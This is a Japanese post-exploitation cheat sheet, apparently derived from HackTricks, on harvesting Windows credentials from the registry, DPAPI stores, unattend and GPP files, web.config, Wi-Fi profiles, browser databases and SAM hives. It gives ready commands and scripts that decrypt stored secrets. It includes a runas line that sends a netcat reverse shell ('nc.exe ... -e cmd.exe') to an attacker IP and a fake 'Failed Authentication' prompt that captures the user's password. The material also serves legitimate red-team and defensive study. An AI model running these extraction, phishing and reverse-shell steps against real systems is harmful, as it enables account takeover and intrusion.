コンテンツにスキップ

Windows ローカル資格情報の調査

Windows の資格情報は、専用の保管領域だけでなく、設定ファイルやレジストリにも残ることがあります。保存先ごとに確認する項目を整理します。

ターミナルウィンドウ
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

資格情報マネージャーと Windows Vault

Section titled “資格情報マネージャーと Windows Vault”

資格情報マネージャーと Windows Vault には、アプリケーションが再利用する資格情報が保存されます。保存された値は、対応するアプリケーションが Credential Manager を通じて要求します。仕組みの背景は Windows Vault の解説 を参照してください。

cmdkey を使って、マシンに保存された資格情報を一覧できます。

ターミナルウィンドウ
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に runas の /savecred を使って保存された資格情報を利用できます。以下は SMB 共有経由でリモート バイナリを呼び出す例です。

ターミナルウィンドウ
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas に資格情報を提供して実行する例。

ターミナルウィンドウ
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

mimikatz、lazagne、credentialfileview、VaultPasswordView、または Empire PowerShells module も参照してください。

Data Protection API(DPAPI) はデータの対称暗号化(symmetric encryption)を提供し、主に Windows OS 内で非対称秘密鍵(asymmetric private keys)の対称暗号化に使われます。暗号化はユーザーまたはシステムの秘密情報を利用してエントロピーに大きく寄与します。

DPAPI はユーザーのログイン シークレットから導出された対称鍵で鍵を暗号化します。システム暗号化の場合はシステムのドメイン認証シークレットを利用します。

DPAPI により暗号化されたユーザー RSA 鍵は %APPDATA%\Microsoft\Protect\{SID} に保存されます。{SID} はユーザーの Security Identifier です。DPAPI キーはユーザーの秘密鍵を保護する master key と同一ファイルに保存され、通常は 64 バイトのランダムデータです。(このディレクトリはアクセス制限があり、CMD の dir では一覧できませんが、PowerShell では一覧できます。)

ターミナルウィンドウ
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\

mimikatz module dpapi::masterkey を適切な引数(/pvk または /rpc)で使うと復号できます。

master password で保護された credentials ファイルは通常次にあります:

ターミナルウィンドウ
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

mimikatz module dpapi::cred に適切な /masterkey を指定して復号できます。
sekurlsa::dpapi モジュールで DPAPI masterkeys をメモリから大量に抽出できます(root 権限がある場合)。

DPAPI Extracting Passwords

PowerShell credentials はスクリプトや自動化タスクでよく使われ、暗号化された資格情報を便利に保存する手段です。資格情報は通常 DPAPI で保護されるため、作成した同一ユーザー/同一コンピュータでのみ復号できます。

ファイルから PS credentials を復号するには次の通りです:

ターミナルウィンドウ
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
ターミナルウィンドウ
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

次に保存されています: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップの資格情報

Section titled “リモートデスクトップの資格情報”
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Mimikatz の dpapi::rdg モジュールを適切な /masterkey で使うと .rdg ファイルを復号できます。
Mimikatz の sekurlsa::dpapi モジュールで DPAPI masterkeys をメモリから大量に抽出できます。

Windows の StickyNotes アプリは、パスワードなどを保存してしまうことがあります(データベース ファイル)。このファイルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、検索・確認の価値があります。

AppCmd.exe からパスワードを復元するには Administrator で High Integrity で実行する必要があります。
AppCmd.exe は %systemroot%\system32\inetsrv\ にあります。
このファイルが存在する場合、credentials が構成されていて復元可能なことがあります。

このコードは PowerUP から抽出されています:

ターミナルウィンドウ
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

C:\Windows\CCM\SCClient.exe が存在するか確認します。
インストーラは SYSTEM 権限で実行され、多くは DLL Sideloading に脆弱です(https://github.com/enjoiz/Privesc の情報)。

ターミナルウィンドウ
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリに残る資格情報

Section titled “ファイルとレジストリに残る資格情報”
ターミナルウィンドウ
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH 秘密鍵は HKCU\Software\OpenSSH\Agent\Keys に保存されることがあるため、ここに興味深いものがないか確認します:

ターミナルウィンドウ
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

このパスにエントリがある場合、保存済み SSH キーである可能性が高いです。暗号化されていますが、https://github.com/ropnop/windows_sshagent_extract で容易に復号できます。
詳細: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

ssh-agent サービスが動作していない場合、起動時に自動開始するには次を実行:

ターミナルウィンドウ
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

[!TIP] この手法は現在は有効ではないようです。ssh キーを作成し、ssh-add で追加して SSH ログインを試したところ、レジストリ HKCU\Software\OpenSSH\Agent\Keys が存在せず、procmon でも非対称鍵認証中の dpapi.dll 使用が確認できませんでした。

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

metasploit でも検索できます: post/windows/gather/enum_unattend

例:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ターミナルウィンドウ
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

SiteList.xml というファイルを探します。

キャッシュされた GPP パスワード

Section titled “キャッシュされた GPP パスワード”

以前は、Group Policy Preferences(GPP)を使って複数マシンへカスタム ローカル管理者アカウントを配布できる機能がありました。しかし重大なセキュリティ欠陥がありました。まず、SYSVOL に保存される GPO の XML ファイルは任意のドメインユーザーがアクセス可能でした。さらに、GPP 内のパスワードは AES256 で暗号化されていましたが、公開されている既定キーで復号できました。これにより、認証済みユーザーが特権を得られる深刻なリスクがありました。

このリスクを軽減するため、空でない “cpassword” フィールドを含むローカル キャッシュ GPP ファイルをスキャンする関数が作成されました。見つかった場合、そのパスワードを復号してカスタム PowerShell オブジェクトを返し、GPP とファイル位置の情報を含めます。これにより脆弱性の特定と修正が容易になります。

C:\ProgramData\Microsoft\Group Policy\history または C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history(Windows Vista 以前) に次のファイルがないか探します:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPassword を復号するには:

ターミナルウィンドウ
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec でパスワードを取得:

ターミナルウィンドウ
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
ターミナルウィンドウ
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
ターミナルウィンドウ
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
ターミナルウィンドウ
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

credentials を含む web.config の例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ターミナルウィンドウ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

必要であれば、ユーザーに自分の資格情報や他ユーザーの資格情報の入力を求められます(ただし、クライアントに直接資格情報を尋ねるのは非常にリスクが高い点に注意)。

ターミナルウィンドウ
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl

資格情報が含まれやすいファイル名

Section titled “資格情報が含まれやすいファイル名”

過去に平文(clear-text)や Base64 でパスワードを含んでいたことがある既知ファイル:

ターミナルウィンドウ
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

提案されたファイルをすべて検索:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

ごみ箱(RecycleBin)にも資格情報がないか確認してください。

いくつかのプログラムが保存したパスワードを復元するには: http://www.nirsoft.net/password_recovery_tools.html

資格情報が含まれる可能性のある他のレジストリ キー

ターミナルウィンドウ
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

レジストリから OpenSSH キーを抽出

Chrome / Firefox のパスワードが保存されている DB を確認します。
履歴やブックマーク、お気に入りにパスワードが保存されている可能性もあるため確認します。

ブラウザからパスワードを抽出するツール:

Component Object Model(COM) は Windows に組み込まれた技術で、異なる言語のソフトウェア コンポーネント間の**相互通信(intercommunication)**を可能にします。各 COM コンポーネントは class ID(CLSID) で識別され、機能は 1 つ以上の interface ID(IID)で公開されます。

COM クラスとインターフェースはそれぞれ HKEY\CLASSES\ROOT\CLSID と HKEY\CLASSES\ROOT\Interface に定義されます。このレジストリは HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT の結合で作られます。

このレジストリ内の CLSID には子レジストリ InProcServer32 があり、DLL への既定値と ThreadingModel(Apartment / Free / Both / Neutral)が含まれます。

基本的に、実行される DLL を上書きできる場合、その DLL が別ユーザーで実行されるなら特権昇格できる可能性があります。

COM Hijacking を永続化(persistence)に使う手法についてはこちら:

COM Hijacking

ファイルとレジストリからパスワードを探す

Section titled “ファイルとレジストリからパスワードを探す”

ファイル内容を検索

ターミナルウィンドウ
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定ファイル名を検索

ターミナルウィンドウ
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリのキー名とパスワードを検索

ターミナルウィンドウ
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

MSF-Credentials Plugin は、ターゲット内の資格情報を検索する metasploit POST モジュールを自動実行する msf プラグインです。
Winpeas は、このページで挙げたパスワードを含むファイルを自動検索します。
Lazagne は別の優れたパスワード抽出ツールです。

SessionGopher は、平文で保存される複数ツールのセッション、ユーザー名、パスワードを検索します(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)。

ターミナルウィンドウ
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss